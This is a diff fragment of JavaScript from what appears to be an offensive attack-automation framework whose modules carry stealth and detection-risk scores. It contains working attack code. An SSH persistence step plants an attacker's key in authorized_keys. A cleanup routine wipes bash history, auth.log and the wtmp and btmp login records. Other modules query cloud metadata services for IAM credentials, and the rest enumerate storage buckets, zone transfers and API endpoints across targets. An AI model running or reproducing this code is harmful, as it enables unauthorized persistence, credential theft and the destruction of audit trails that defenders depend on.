+                    const timerContent = `[Unit]\nDescription=System Task\n[Timer]\nOnCalendar=*:0/15\n[Install]\nWantedBy=timers.target`;
+                    await execAsync(`echo '${timerContent}' > /tmp/.timer.timer`, { timeout: 5000 });
+                    artifacts.push({ type: 'systemd_timer', data: 'Timer unit created in /tmp' });
+                }
+                catch { /* ignore */ }
+            }
+            // List existing persistence
+            try {
+                const { stdout } = await execAsync('crontab -l 2>/dev/null', { timeout: 5000 });
+                if (stdout.trim())
+                    artifacts.push({ type: 'existing_cron', data: `${stdout.split('\n').length} cron entries` });
+            }
+            catch { /* ignore */ }
+            return { success: artifacts.length > 0, output: { persistence: artifacts.length }, artifacts, nextTechniques: ['c2_beacon'], detectionRisk: 0.6, duration: Date.now() - start };
+        },
+    });
+    // SSH Key Persistence - Real authorized_keys manipulation
+    techniqueRegistry.register({
+        id: 'ssh_persist',
+        name: 'SSH Key Persistence',
+        category: 'persistence',
+        phase: 'installation',
+        prerequisites: [],
+        conflictsWith: [],
+        stealthRating: 0.5,
+        successBaseline: 0.65,
+        timeEstimate: 15000,
+        execute: async (params) => {
+            const start = Date.now();
+            const artifacts = [];
+            const ctx = params.context || {};
+            const publicKey = ctx['public_key'];
+            if (publicKey) {
+                // Try to add to authorized_keys
+                try {
+                    await execAsync(`mkdir -p ~/.ssh && echo '${publicKey}' >> ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys`, { timeout: 10000 });
+                    artifacts.push({ type: 'ssh_persist', data: 'Public key added to authorized_keys' });
+                }
+                catch (e) {
+                    artifacts.push({ type: 'ssh_persist_failed', data: e.message });
+                }
+            }
+            // Check existing authorized_keys
+            try {
+                const { stdout } = await execAsync('cat ~/.ssh/authorized_keys /root/.ssh/authorized_keys 2>/dev/null | wc -l', { timeout: 5000 });
+                if (stdout.trim() !== '0')
+                    artifacts.push({ type: 'existing_keys', data: `${stdout.trim()} authorized keys present` });
+            }
+            catch { /* ignore */ }
+            return { success: artifacts.length > 0, output: { ssh_persist: artifacts.length }, artifacts, nextTechniques: ['lateral_move'], detectionRisk: 0.5, duration: Date.now() - start };
+        },
+    });
+    // Cleanup - Real artifact removal
+    techniqueRegistry.register({
+        id: 'cleanup',
+        name: 'Cleanup',
+        category: 'evasion',
+        phase: 'actions-on-objectives',
+        prerequisites: [],
+        conflictsWith: [],
+        stealthRating: 0.9,
+        successBaseline: 0.85,
+        timeEstimate: 20000,
+        execute: async (params) => {
+            const start = Date.now();
+            const artifacts = [];
+            // Clear bash history
+            try {
+                await execAsync('history -c; > ~/.bash_history', { timeout: 5000 });
+                artifacts.push({ type: 'cleared', data: 'bash_history' });
+            }
+            catch { /* ignore */ }
+            // Clear auth logs (needs root)
+            try {
+                await execAsync('> /var/log/auth.log 2>/dev/null', { timeout: 5000 });
+                artifacts.push({ type: 'cleared', data: 'auth.log' });
+            }
+            catch { /* ignore */ }
+            // Remove temp files
+            try {
+                await execAsync('rm -rf /tmp/.* 2>/dev/null', { timeout: 5000 });
+                artifacts.push({ type: 'cleared', data: 'temp files' });
+            }
+            catch { /* ignore */ }
+            // Clear wtmp/btmp
+            try {
+                await execAsync('> /var/log/wtmp; > /var/log/btmp 2>/dev/null', { timeout: 5000 });
+                artifacts.push({ type: 'cleared', data: 'login records' });
+            }
+            catch { /* ignore */ }
+            return { success: artifacts.length > 0, output: { cleaned: artifacts.length }, artifacts, nextTechniques: [], detectionRisk: 0.2, duration: Date.now() - start };
+        },
+    });
+}
+// Cloud & SaaS Reconnaissance Techniques
+function registerCloudTechniques() {
+    // Cloud Provider Detection - Real fingerprinting
+    techniqueRegistry.register({
+        id: 'cloud_detect',
+        name: 'Cloud Provider Detection',
+        category: 'recon',
+        phase: 'reconnaissance',
+        prerequisites: [],
+        conflictsWith: [],
+        stealthRating: 0.95,
+        successBaseline: 0.9,
+        timeEstimate: 15000,
+        execute: async (params) => {
+            const start = Date.now();
+            const target = params.target;
+            const artifacts = [];
+            try {
+                // Resolve IPs
+                const ips = await dns.resolve4(target).catch(() => []);
+                for (const ip of ips.slice(0, 3)) {
+                    artifacts.push({ type: 'ip', data: ip });
+                    // Check IP ranges for cloud providers
+                    const ipNum = ip.split('.').reduce((acc, oct) => (acc << 8) + parseInt(oct), 0);
+                    // AWS ranges (simplified)
+                    if ((ipNum >= 0x03000000 && ipNum <= 0x03FFFFFF) || (ipNum >= 0x34000000 && ipNum <= 0x37FFFFFF)) {
+                        artifacts.push({ type: 'cloud_provider', data: 'AWS (likely)' });
+                    }
+                    // Google Cloud ranges
+                    if (ipNum >= 0x23000000 && ipNum <= 0x23FFFFFF) {
+                        artifacts.push({ type: 'cloud_provider', data: 'Google Cloud (likely)' });
+                    }
+                    // Azure ranges
+                    if (ipNum >= 0x0D000000 && ipNum <= 0x0DFFFFFF) {
+                        artifacts.push({ type: 'cloud_provider', data: 'Azure (likely)' });
+                    }
+                }
+                // Check headers for cloud signatures
+                const url = target.startsWith('http') ? target : `https://${target}`;
+                const probe = await httpProbe(url, 5000).catch(() => null);
+                if (probe) {
+                    if (probe.headers['x-amz-request-id'] || probe.headers['x-amz-id-2'])
+                        artifacts.push({ type: 'cloud_provider', data: 'AWS (confirmed via headers)' });
+                    if (probe.headers['x-goog-generation'] || probe.headers['x-guploader-uploadid'])
+                        artifacts.push({ type: 'cloud_provider', data: 'Google Cloud (confirmed via headers)' });
+                    if (probe.headers['x-ms-request-id'] || probe.headers['x-azure-ref'])
+                        artifacts.push({ type: 'cloud_provider', data: 'Azure (confirmed via headers)' });
+                    if (probe.headers['cf-ray'])
+                        artifacts.push({ type: 'cdn', data: 'Cloudflare' });
+                    if (probe.headers['x-cache'] && probe.headers['x-cache'].includes('cloudfront'))
+                        artifacts.push({ type: 'cdn', data: 'CloudFront' });
+                    if (probe.headers['x-served-by'] && probe.headers['x-served-by'].includes('cache'))
+                        artifacts.push({ type: 'cdn', data: 'Fastly' });
+                }
+            }
+            catch { /* ignore */ }
+            return { success: artifacts.length > 0, output: { target, cloud_data: artifacts.length }, artifacts, nextTechniques: ['s3_enum', 'gcs_enum', 'azure_enum'], detectionRisk: 0.05, duration: Date.now() - start };
+        },
+    });
+    // S3 Bucket Enumeration - Real bucket discovery
+    techniqueRegistry.register({
+        id: 's3_enum',
+        name: 'S3 Bucket Enumeration',
+        category: 'recon',
+        phase: 'reconnaissance',
+        prerequisites: [],
+        conflictsWith: [],
+        stealthRating: 0.85,
+        successBaseline: 0.7,
+        timeEstimate: 30000,
+        execute: async (params) => {
+            const start = Date.now();
+            const target = params.target.replace(/^https?:\/\//, '').replace(/\/.+/, '').split('.')[0] || params.target;
+            const artifacts = [];
+            const bucketVariations = [
+                target, `${target}-dev`, `${target}-staging`, `${target}-prod`, `${target}-backup`,
+                `${target}-assets`, `${target}-static`, `${target}-data`, `${target}-logs`,
+                `${target}.com`, `${target}-public`, `${target}-private`, `${target}-internal`
+            ];
+            for (const bucket of bucketVariations.slice(0, params.depth === 'quick' ? 4 : params.depth === 'deep' ? 12 : 8)) {
+                try {
+                    const probe = await httpProbe(`https://${bucket}.s3.amazonaws.com`, 3000);
+                    if (probe.status !== 404) {
+                        artifacts.push({ type: 's3_bucket', data: `${bucket} - HTTP ${probe.status}` });
+                        if (probe.status === 200)
+                            artifacts.push({ type: 's3_public', data: `${bucket} is publicly accessible!` });
+                        if (probe.status === 403)
+                            artifacts.push({ type: 's3_exists', data: `${bucket} exists but access denied` });
+                    }
+                }
+                catch { /* bucket doesn't exist or not accessible */ }
+                // Also check region-specific endpoints
+                try {
+                    const probe = await httpProbe(`https://s3.us-east-1.amazonaws.com/${bucket}`, 3000);
+                    if (probe.status !== 404 && probe.status !== 400) {
+                        artifacts.push({ type: 's3_bucket_path', data: `${bucket} via path-style - HTTP ${probe.status}` });
+                    }
+                }
+                catch { /* ignore */ }
+            }
+            return { success: artifacts.length > 0, output: { target, buckets_found: artifacts.length }, artifacts, nextTechniques: ['cloud_metadata', 'vuln_scan'], detectionRisk: 0.15, duration: Date.now() - start };
+        },
+    });
+    // GCS Bucket Enumeration - Real Google Cloud Storage discovery
+    techniqueRegistry.register({
+        id: 'gcs_enum',
+        name: 'GCS Bucket Enumeration',
+        category: 'recon',
+        phase: 'reconnaissance',
+        prerequisites: [],
+        conflictsWith: [],
+        stealthRating: 0.85,
+        successBaseline: 0.65,
+        timeEstimate: 25000,
+        execute: async (params) => {
+            const start = Date.now();
+            const target = params.target.replace(/^https?:\/\//, '').replace(/\/.+/, '').split('.')[0] || params.target;
+            const artifacts = [];
+            const bucketVariations = [target, `${target}-dev`, `${target}-prod`, `${target}-backup`, `${target}-public`, `${target}_data`];
+            for (const bucket of bucketVariations.slice(0, params.depth === 'quick' ? 3 : 6)) {
+                try {
+                    const probe = await httpProbe(`https://storage.googleapis.com/${bucket}`, 3000);
+                    if (probe.status !== 404) {
+                        artifacts.push({ type: 'gcs_bucket', data: `${bucket} - HTTP ${probe.status}` });
+                        if (probe.status === 200)
+                            artifacts.push({ type: 'gcs_public', data: `${bucket} is publicly accessible!` });
+                    }
+                }
+                catch { /* ignore */ }
+            }
+            return { success: artifacts.length > 0, output: { target, buckets_found: artifacts.length }, artifacts, nextTechniques: ['cloud_metadata'], detectionRisk: 0.15, duration: Date.now() - start };
+        },
+    });
+    // Azure Blob Enumeration - Real Azure Storage discovery
+    techniqueRegistry.register({
+        id: 'azure_enum',
+        name: 'Azure Blob Enumeration',
+        category: 'recon',
+        phase: 'reconnaissance',
+        prerequisites: [],
+        conflictsWith: [],
+        stealthRating: 0.85,
+        successBaseline: 0.6,
+        timeEstimate: 25000,
+        execute: async (params) => {
+            const start = Date.now();
+            const target = params.target.replace(/^https?:\/\//, '').replace(/\/.+/, '').split('.')[0] || params.target;
+            const artifacts = [];
+            const accountVariations = [target, `${target}dev`, `${target}prod`, `${target}storage`, `${target}data`];
+            for (const account of accountVariations.slice(0, params.depth === 'quick' ? 2 : 5)) {
+                try {
+                    const probe = await httpProbe(`https://${account}.blob.core.windows.net`, 3000);
+                    if (probe.status !== 404 && probe.status !== 400) {
+                        artifacts.push({ type: 'azure_storage', data: `${account}.blob.core.windows.net - HTTP ${probe.status}` });
+                    }
+                }
+                catch { /* ignore */ }
+                // Check for common containers
+                for (const container of ['$web', 'public', 'data', 'backup', 'assets']) {
+                    try {
+                        const probe = await httpProbe(`https://${account}.blob.core.windows.net/${container}?restype=container&comp=list`, 3000);
+                        if (probe.status === 200) {
+                            artifacts.push({ type: 'azure_container_public', data: `${account}/${container} is publicly listable!` });
+                        }
+                    }
+                    catch { /* ignore */ }
+                }
+            }
+            return { success: artifacts.length > 0, output: { target, storage_found: artifacts.length }, artifacts, nextTechniques: ['cloud_metadata'], detectionRisk: 0.15, duration: Date.now() - start };
+        },
+    });
+    // Cloud Metadata Service - Real IMDS probing
+    techniqueRegistry.register({
+        id: 'cloud_metadata',
+        name: 'Cloud Metadata Service',
+        category: 'exploitation',
+        phase: 'exploitation',
+        prerequisites: [],
+        conflictsWith: [],
+        stealthRating: 0.3,
+        successBaseline: 0.4,
+        timeEstimate: 20000,
+        execute: async (params) => {
+            const start = Date.now();
+            const artifacts = [];
+            // AWS IMDS
+            try {
+                const { stdout } = await execAsync('curl -s -m 2 http://169.254.169.254/latest/meta-data/', { timeout: 5000 });
+                if (stdout && !stdout.includes('404')) {
+                    artifacts.push({ type: 'aws_imds', data: 'AWS metadata service accessible' });
+                    const paths = stdout.split('\n').filter(p => p.trim());
+                    artifacts.push({ type: 'aws_metadata_paths', data: paths.slice(0, 10).join(', ') });
+                    // Try to get IAM role
+                    try {
+                        const { stdout: role } = await execAsync('curl -s -m 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/', { timeout: 3000 });
+                        if (role.trim())
+                            artifacts.push({ type: 'aws_iam_role', data: role.trim() });
+                    }
+                    catch { /* ignore */ }
+                }
+            }
+            catch { /* not on AWS or IMDS blocked */ }
+            // GCP metadata
+            try {
+                const { stdout } = await execAsync('curl -s -m 2 -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/', { timeout: 5000 });
+                if (stdout && !stdout.includes('404')) {
+                    artifacts.push({ type: 'gcp_metadata', data: 'GCP metadata service accessible' });
+                }
+            }
+            catch { /* not on GCP */ }
+            // Azure IMDS
+            try {
+                const { stdout } = await execAsync('curl -s -m 2 -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"', { timeout: 5000 });
+                if (stdout && stdout.includes('compute')) {
+                    artifacts.push({ type: 'azure_imds', data: 'Azure metadata service accessible' });
+                }
+            }
+            catch { /* not on Azure */ }
+            return { success: artifacts.length > 0, output: { metadata_found: artifacts.length }, artifacts, nextTechniques: ['credential_harvest', 'privesc'], detectionRisk: 0.5, duration: Date.now() - start };
+        },
+    });
+    // API Endpoint Discovery - Real REST/GraphQL probing
+    techniqueRegistry.register({
+        id: 'api_discovery',
+        name: 'API Endpoint Discovery',
+        category: 'enumeration',
+        phase: 'weaponization',
+        prerequisites: [],
+        conflictsWith: [],
+        stealthRating: 0.7,
+        successBaseline: 0.75,
+        timeEstimate: 45000,
+        execute: async (params) => {
+            const start = Date.now();
+            const target = params.target.startsWith('http') ? params.target : `https://${params.target}`;
+            const artifacts = [];
+            // Common API paths
+            const apiPaths = params.depth === 'quick'
+                ? ['/api', '/api/v1', '/graphql', '/swagger.json']
+                : ['/api', '/api/v1', '/api/v2', '/v1', '/v2', '/graphql', '/graphiql',
+                    '/swagger.json', '/swagger/v1/swagger.json', '/openapi.json', '/api-docs',
+                    '/api/docs', '/.well-known/openapi.json', '/rest', '/rpc', '/ws', '/socket.io'];
+            for (const path of apiPaths) {
+                try {
+                    const probe = await httpProbe(`${target}${path}`, 3000);
+                    if (probe.status < 400 || probe.status === 401 || probe.status === 403) {
+                        artifacts.push({ type: 'api_endpoint', data: `${path} - HTTP ${probe.status}` });
+                    }
+                }
+                catch { /* ignore */ }
+            }
+            // Try GraphQL introspection
+            try {
+                const { stdout } = await execAsync(`curl -s -X POST -H "Content-Type: application/json" -d '{"query":"{ __schema { types { name } } }"}' "${target}/graphql" --connect-timeout 5`, { timeout: 10000 });
+                if (stdout.includes('__schema') || stdout.includes('types')) {
+                    artifacts.push({ type: 'graphql_introspection', data: 'GraphQL introspection enabled!' });
+                    const types = stdout.match(/"name":"(\w+)"/g)?.slice(0, 10);
+                    if (types)
+                        artifacts.push({ type: 'graphql_types', data: types.join(', ') });
+                }
+            }
+            catch { /* ignore */ }
+            return { success: artifacts.length > 0, output: { endpoints_found: artifacts.length }, artifacts, nextTechniques: ['vuln_scan', 'credential_spray'], detectionRisk: 0.35, duration: Date.now() - start };
+        },
+    });
+    // Technology Stack Fingerprint - Real tech detection
+    techniqueRegistry.register({
+        id: 'tech_fingerprint',
+        name: 'Technology Stack Fingerprint',
+        category: 'recon',
+        phase: 'reconnaissance',
+        prerequisites: [],
+        conflictsWith: [],
+        stealthRating: 0.9,
+        successBaseline: 0.85,
+        timeEstimate: 20000,
+        execute: async (params) => {
+            const start = Date.now();
+            const url = params.target.startsWith('http') ? params.target : `https://${params.target}`;
+            const artifacts = [];
+            try {
+                const probe = await httpProbe(url, 5000);
+                // Server header
+                if (probe.server)
+                    artifacts.push({ type: 'server', data: probe.server });
+                // X-Powered-By
+                if (probe.headers['x-powered-by'])
+                    artifacts.push({ type: 'framework', data: probe.headers['x-powered-by'] });
+                // Detect from headers
+                if (probe.headers['x-aspnet-version'])
+                    artifacts.push({ type: 'tech', data: `ASP.NET ${probe.headers['x-aspnet-version']}` });
+                if (probe.headers['x-drupal-cache'])
+                    artifacts.push({ type: 'cms', data: 'Drupal' });
+                if (probe.headers['x-generator']?.includes('WordPress'))
+                    artifacts.push({ type: 'cms', data: 'WordPress' });
+                if (probe.headers['x-shopify-stage'])
+                    artifacts.push({ type: 'platform', data: 'Shopify' });
+                // Security headers analysis
+                if (probe.headers['content-security-policy'])
+                    artifacts.push({ type: 'security', data: 'CSP enabled' });
+                if (probe.headers['x-xss-protection'])
+                    artifacts.push({ type: 'security', data: 'XSS protection header' });
+                // Try to fetch page and detect tech
+                const { stdout } = await execAsync(`curl -s -L "${url}" --connect-timeout 5 | head -200`, { timeout: 10000 });
+                if (stdout.includes('wp-content'))
+                    artifacts.push({ type: 'cms', data: 'WordPress (detected in HTML)' });
+                if (stdout.includes('react'))
+                    artifacts.push({ type: 'frontend', data: 'React' });
+                if (stdout.includes('vue'))
+                    artifacts.push({ type: 'frontend', data: 'Vue.js' });
+                if (stdout.includes('angular'))
+                    artifacts.push({ type: 'frontend', data: 'Angular' });
+                if (stdout.includes('next'))
+                    artifacts.push({ type: 'frontend', data: 'Next.js' });
+                if (stdout.includes('jquery'))
+                    artifacts.push({ type: 'library', data: 'jQuery' });
+                if (stdout.includes('bootstrap'))
+                    artifacts.push({ type: 'library', data: 'Bootstrap' });
+                // Google-specific detection
+                if (stdout.includes('google') || stdout.includes('googleapis'))
+                    artifacts.push({ type: 'integration', data: 'Google APIs' });
+                if (stdout.includes('firebase'))
+                    artifacts.push({ type: 'backend', data: 'Firebase' });
+                if (stdout.includes('gstatic'))
+                    artifacts.push({ type: 'cdn', data: 'Google Static' });
+            }
+            catch { /* ignore */ }
+            return { success: artifacts.length > 0, output: { technologies: artifacts.length }, artifacts, nextTechniques: ['vuln_scan', 'api_discovery'], detectionRisk: 0.1, duration: Date.now() - start };
+        },
+    });
+    // Certificate Transparency Log Search - Real CT log query
+    techniqueRegistry.register({
+        id: 'ct_search',
+        name: 'Certificate Transparency Search',
+        category: 'recon',
+        phase: 'reconnaissance',
+        prerequisites: [],
+        conflictsWith: [],
+        stealthRating: 0.98,
+        successBaseline: 0.8,
+        timeEstimate: 20000,
+        execute: async (params) => {
+            const start = Date.now();
+            const target = params.target;
+            const artifacts = [];
+            // Query crt.sh for certificate transparency data
+            try {
+                const { stdout } = await execAsync(`curl -s "https://crt.sh/?q=%25.${target}&output=json" --connect-timeout 10 | head -5000`, { timeout: 20000 });
+                if (stdout && stdout.startsWith('[')) {
+                    const certs = JSON.parse(stdout);
+                    const domains = new Set();
+                    for (const cert of certs.slice(0, 50)) {
+                        if (cert.name_value) {
+                            cert.name_value.split('\n').forEach(d => domains.add(d.trim()));
+                        }
+                    }
+                    const uniqueDomains = Array.from(domains).filter(d => d.includes(target));
+                    artifacts.push({ type: 'ct_domains_count', data: `${uniqueDomains.length} unique domains found` });
+                    uniqueDomains.slice(0, 20).forEach(d => artifacts.push({ type: 'ct_domain', data: d }));
+                }
+            }
+            catch { /* crt.sh unavailable or rate limited */ }
+            return { success: artifacts.length > 0, output: { ct_records: artifacts.length }, artifacts, nextTechniques: ['subdomain_enum', 'dns_enum'], detectionRisk: 0.02, duration: Date.now() - start };
+        },
+    });
+    // DNS Zone Transfer - Real AXFR attempt
+    techniqueRegistry.register({
+        id: 'dns_zone_transfer',
+        name: 'DNS Zone Transfer',
+        category: 'recon',
+        phase: 'reconnaissance',
+        prerequisites: [],
+        conflictsWith: [],
+        stealthRating: 0.5,
+        successBaseline: 0.15,
+        timeEstimate: 30000,
+        execute: async (params) => {
+            const start = Date.now();
+            const target = params.target;
+            const artifacts = [];
+            try {
+                // Get NS records first
+                const nsRecords = await dns.resolveNs(target).catch(() => []);
+                for (const ns of nsRecords.slice(0, 3)) {
+                    try {
+                        const { stdout } = await execAsync(`dig @${ns} ${target} AXFR +short 2>/dev/null | head -30`, { timeout: 15000 });
+                        if (stdout.trim() && !stdout.includes('Transfer failed')) {
+                            artifacts.push({ type: 'zone_transfer', data: `AXFR successful via ${ns}!` });
+                            const records = stdout.split('\n').filter(l => l.trim()).slice(0, 15);
+                            records.forEach(r => artifacts.push({ type: 'zone_record', data: r }));
+                        }
+                    }
+                    catch { /* AXFR blocked as expected */ }
+                }
+            }
+            catch { /* ignore */ }
+            return { success: artifacts.length > 0, output: { zone_transfer: artifacts.length > 0 }, artifacts, nextTechniques: ['subdomain_enum', 'port_scan'], detectionRisk: 0.6, duration: Date.now() - start };
+        },
+    });
+    // Email Security Check - Real SPF/DKIM/DMARC analysis
+    techniqueRegistry.register({
+        id: 'email_security',
+        name: 'Email Security Check',
+        category: 'recon',
+        phase: 'reconnaissance',
+        prerequisites: [],
+        conflictsWith: [],
+        stealthRating: 0.95,
+        successBaseline: 0.9,
+        timeEstimate: 15000,
+        execute: async (params) => {
+            const start = Date.now();
+            const target = params.target;
+            const artifacts = [];
+            // SPF record
+            try {
+                const txt = await dns.resolveTxt(target);
+                const spf = txt.flat().find(r => r.includes('v=spf1'));
+                if (spf) {
+                    artifacts.push({ type: 'spf', data: spf.slice(0, 150) });
+                    if (spf.includes('~all'))
+                        artifacts.push({ type: 'spf_policy', data: 'softfail (~all) - weak' });
+                    if (spf.includes('-all'))
+                        artifacts.push({ type: 'spf_policy', data: 'hardfail (-all) - strict' });
+                    if (spf.includes('+all') || spf.includes('?all'))
+                        artifacts.push({ type: 'spf_weak', data: 'WARNING: SPF too permissive!' });
+                }
+                else {
+                    artifacts.push({ type: 'spf_missing', data: 'No SPF record found' });
+                }
+            }
+            catch {
+                artifacts.push({ type: 'spf_error', data: 'Failed to query SPF' });
+            }
+            // DMARC record
+            try {
+                const dmarc = await dns.resolveTxt(`_dmarc.${target}`);
+                const dmarcRecord = dmarc.flat().find(r => r.includes('v=DMARC1'));
+                if (dmarcRecord) {
+                    artifacts.push({ type: 'dmarc', data: dmarcRecord.slice(0, 150) });
+                    if (dmarcRecord.includes('p=none'))
+                        artifacts.push({ type: 'dmarc_policy', data: 'policy=none - monitoring only' });
+                    if (dmarcRecord.includes('p=quarantine'))
+                        artifacts.push({ type: 'dmarc_policy', data: 'policy=quarantine' });
+                    if (dmarcRecord.includes('p=reject'))
+                        artifacts.push({ type: 'dmarc_policy', data: 'policy=reject - strict' });
+                }
+                else {
+                    artifacts.push({ type: 'dmarc_missing', data: 'No DMARC record found' });
+                }
+            }
+            catch {
+                artifacts.push({ type: 'dmarc_missing', data: 'No DMARC record' });
+            }
+            // DKIM selector guessing
+            const selectors = ['default', 'google', 'selector1', 'selector2', 'k1', 's1', 'dkim'];
+            for (const sel of selectors.slice(0, 4)) {
+                try {
+                    const dkim = await dns.resolveTxt(`${sel}._domainkey.${target}`);
+                    if (dkim.length > 0) {
+                        artifacts.push({ type: 'dkim', data: `${sel}._domainkey - found` });
+                        break;
+                    }
+                }
+                catch { /* selector not found */ }
+            }
+            return { success: artifacts.length > 0, output: { email_security: artifacts.length }, artifacts, nextTechniques: ['credential_spray'], detectionRisk: 0.05, duration: Date.now() - start };
+        },
+    });
+}
+// Enterprise Stack Mapping & Cryptographic Fingerprinting
+function registerEnterpriseReconTechniques() {
+    // Full Stack Cryptographic Mapping
+    techniqueRegistry.register({
+        id: 'crypto_map',
+        name: 'Cryptographic Stack Mapping',
+        category: 'recon',
+        phase: 'reconnaissance',
+        prerequisites: [],
+        conflictsWith: [],
+        stealthRating: 0.85,
+        successBaseline: 0.9,
+        timeEstimate: 120000,
+        execute: async (params) => {
+            const start = Date.now();
+            const target = params.target;
+            const artifacts = [];
+            // SSL/TLS full chain analysis
+            try {
+                const { stdout } = await execAsync(`echo | openssl s_client -connect ${target}:443 -servername ${target} -showcerts 2>/dev/null`, { timeout: 15000 });
+                const certs = stdout.match(/-----BEGIN CERTIFICATE-----[\s\S]*?-----END CERTIFICATE-----/g) || [];
+                artifacts.push({ type: 'cert_chain_depth', data: `${certs.length} certificates in chain` });
+                for (let i = 0; i < Math.min(certs.length, 3); i++) {
+                    try {
+                        const certInfo = await execAsync(`echo '${certs[i]}' | openssl x509 -noout -fingerprint -sha256 -issuer -subject -dates 2>/dev/null`, { timeout: 5000 });
+                        artifacts.push({ type: `cert_${i}_fingerprint`, data: certInfo.stdout.trim().slice(0, 300) });
+                    }
+                    catch { /* ignore */ }
+                }
+            }
+            catch { /* ignore */ }
+            // TLS version and cipher enumeration
+            for (const ver of ['tls1', 'tls1_1', 'tls1_2', 'tls1_3']) {
+                try {
+                    const { stdout } = await execAsync(`echo | openssl s_client -connect ${target}:443 -${ver} 2>/dev/null | grep -E "Protocol|Cipher"`, { timeout: 8000 });
+                    if (stdout.trim() && !stdout.includes('error'))
+                        artifacts.push({ type: `tls_${ver}`, data: stdout.trim() });
+                }
+                catch { /* version not supported */ }
+            }
+            // HSTS, HPKP, security headers
+            try {
+                const { stdout } = await execAsync(`curl -sI https://${target} --connect-timeout 5 | grep -iE "strict-transport|public-key-pins|content-security|x-frame|x-xss|x-content-type"`, { timeout: 10000 });
+                if (stdout.trim())
+                    artifacts.push({ type: 'security_headers', data: stdout.trim() });
+            }
+            catch { /* ignore */ }
+            // Certificate transparency logs
+            try {
+                const { stdout } = await execAsync(`curl -s "https://crt.sh/?q=${target}&output=json" --connect-timeout 10 | head -c 2000`, { timeout: 15000 });
+                if (stdout.trim() && stdout.startsWith('[')) {
+                    const count = (stdout.match(/"id":/g) || []).length;
+                    artifacts.push({ type: 'ct_log_entries', data: `${count}+ certificates logged` });
+                }
+            }
+            catch { /* ignore */ }
+            // DNSSEC validation
+            try {
+                const { stdout } = await execAsync(`dig +dnssec ${target} 2>/dev/null | grep -E "RRSIG|DNSKEY|DS"`, { timeout: 10000 });
+                if (stdout.trim())
+                    artifacts.push({ type: 'dnssec', data: 'DNSSEC enabled' });
+            }
+            catch { /* ignore */ }
+            return { success: artifacts.length > 0, output: { crypto_data: artifacts.length }, artifacts, nextTechniques: ['product_enum', 'stack_fingerprint'], detectionRisk: 0.1, duration: Date.now() - start };
+        },
+    });
+    // Product & Service Enumeration
+    techniqueRegistry.register({
+        id: 'product_enum',
+        name: 'Product & Service Enumeration',
+        category: 'recon',
+        phase: 'reconnaissance',
+        prerequisites: [],
+        conflictsWith: [],
+        stealthRating: 0.8,
+        successBaseline: 0.85,
+        timeEstimate: 90000,
+        execute: async (params) => {
+            const start = Date.now();
+            const target = params.target;
+            const artifacts = [];
+            // Common product endpoints
+            const productEndpoints = [
+                '/products', '/services', '/solutions', '/platforms', '/apps',
+                '/developers', '/developer', '/api', '/apis', '/docs', '/documentation',
+                '/cloud', '/enterprise', '/business', '/workspace', '/suite',
+                '/mobile', '/ios', '/android', '/desktop', '/web',
+                '/ai', '/ml', '/machine-learning', '/analytics', '/data',
+                '/security', '/identity', '/auth', '/login', '/sso',
+                '/admin', '/console', '/dashboard', '/portal', '/panel',
+                '/store', '/marketplace', '/apps-store', '/extensions',
+            ];
+            const url = `https://${target}`;
+            for (const endpoint of productEndpoints) {
+                try {
+                    const probe = await httpProbe(`${url}${endpoint}`, 3000);
+                    if (probe.status < 400) {
+                        artifacts.push({ type: 'product_endpoint', data: `${endpoint} (${probe.status})` });
+                    }
+                }
+                catch { /* ignore */ }
+            }
+            // Sitemap parsing
+            try {
+                const { stdout } = await execAsync(`curl -sL https://${target}/sitemap.xml --connect-timeout 5 | grep -oE 'https?://[^<"]+' | head -50`, { timeout: 15000 });
+                if (stdout.trim()) {
+                    const urls = stdout.split('\n').filter(u => u.trim());
+                    artifacts.push({ type: 'sitemap_urls', data: `${urls.length} URLs in sitemap` });
+                    // Extract product patterns
+                    const products = urls.filter(u => /product|service|solution|platform|app/i.test(u));
+                    if (products.length > 0)
+                        artifacts.push({ type: 'product_urls', data: products.slice(0, 10).join(', ') });
+                }
+            }
+            catch { /* ignore */ }
+            // robots.txt analysis
+            try {
+                const { stdout } = await execAsync(`curl -sL https://${target}/robots.txt --connect-timeout 5 | head -50`, { timeout: 10000 });
+                if (stdout.trim()) {
+                    const disallowed = stdout.match(/Disallow:\s*(.+)/gi) || [];
+                    artifacts.push({ type: 'robots_disallow', data: `${disallowed.length} disallowed paths` });
+                    // Interesting paths often hidden
+                    const interesting = disallowed.filter(d => /admin|api|internal|dev|staging|test|backup|config/i.test(d));
+                    if (interesting.length > 0)
+                        artifacts.push({ type: 'hidden_paths', data: interesting.slice(0, 10).join(', ') });
+                }
+            }
+            catch { /* ignore */ }
+            return { success: artifacts.length > 0, output: { products: artifacts.length }, artifacts, nextTechniques: ['stack_fingerprint', 'corp_enum'], detectionRisk: 0.15, duration: Date.now() - start };
+        },
+    });
+    // Full Stack Technology Fingerprinting
+    techniqueRegistry.register({
+        id: 'stack_fingerprint',
+        name: 'Full Stack Fingerprinting',
+        category: 'recon',
+        phase: 'reconnaissance',
+        prerequisites: [],
+        conflictsWith: [],
+        stealthRating: 0.75,
+        successBaseline: 0.9,
+        timeEstimate: 60000,
+        execute: async (params) => {
+            const start = Date.now();
+            const target = params.target;
+            const artifacts = [];
+            // HTTP headers analysis
+            try {
+                const { stdout } = await execAsync(`curl -sI https://${target} --connect-timeout 5`, { timeout: 10000 });
+                const headers = stdout.split('\n');
+                for (const header of headers) {
+                    if (/^server:/i.test(header))
+                        artifacts.push({ type: 'server', data: header.trim() });
+                    if (/^x-powered-by:/i.test(header))
+                        artifacts.push({ type: 'powered_by', data: header.trim() });
+                    if (/^x-aspnet/i.test(header))
+                        artifacts.push({ type: 'aspnet', data: header.trim() });
+                    if (/^x-amz/i.test(header))
+                        artifacts.push({ type: 'aws', data: header.trim() });
+                    if (/^x-goog/i.test(header))
+                        artifacts.push({ type: 'google_cloud', data: header.trim() });
+                    if (/^x-azure/i.test(header))
+                        artifacts.push({ type: 'azure', data: header.trim() });
+                    if (/^x-cache/i.test(header))
+                        artifacts.push({ type: 'cdn_cache', data: header.trim() });
+                    if (/^cf-/i.test(header))
+                        artifacts.push({ type: 'cloudflare', data: header.trim() });
+                    if (/^x-vercel/i.test(header))
+                        artifacts.push({ type: 'vercel', data: header.trim() });
+                    if (/^x-netlify/i.test(header))
+                        artifacts.push({ type: 'netlify', data: header.trim() });
+                }
+            }
+            catch { /* ignore */ }
+            // JavaScript framework detection
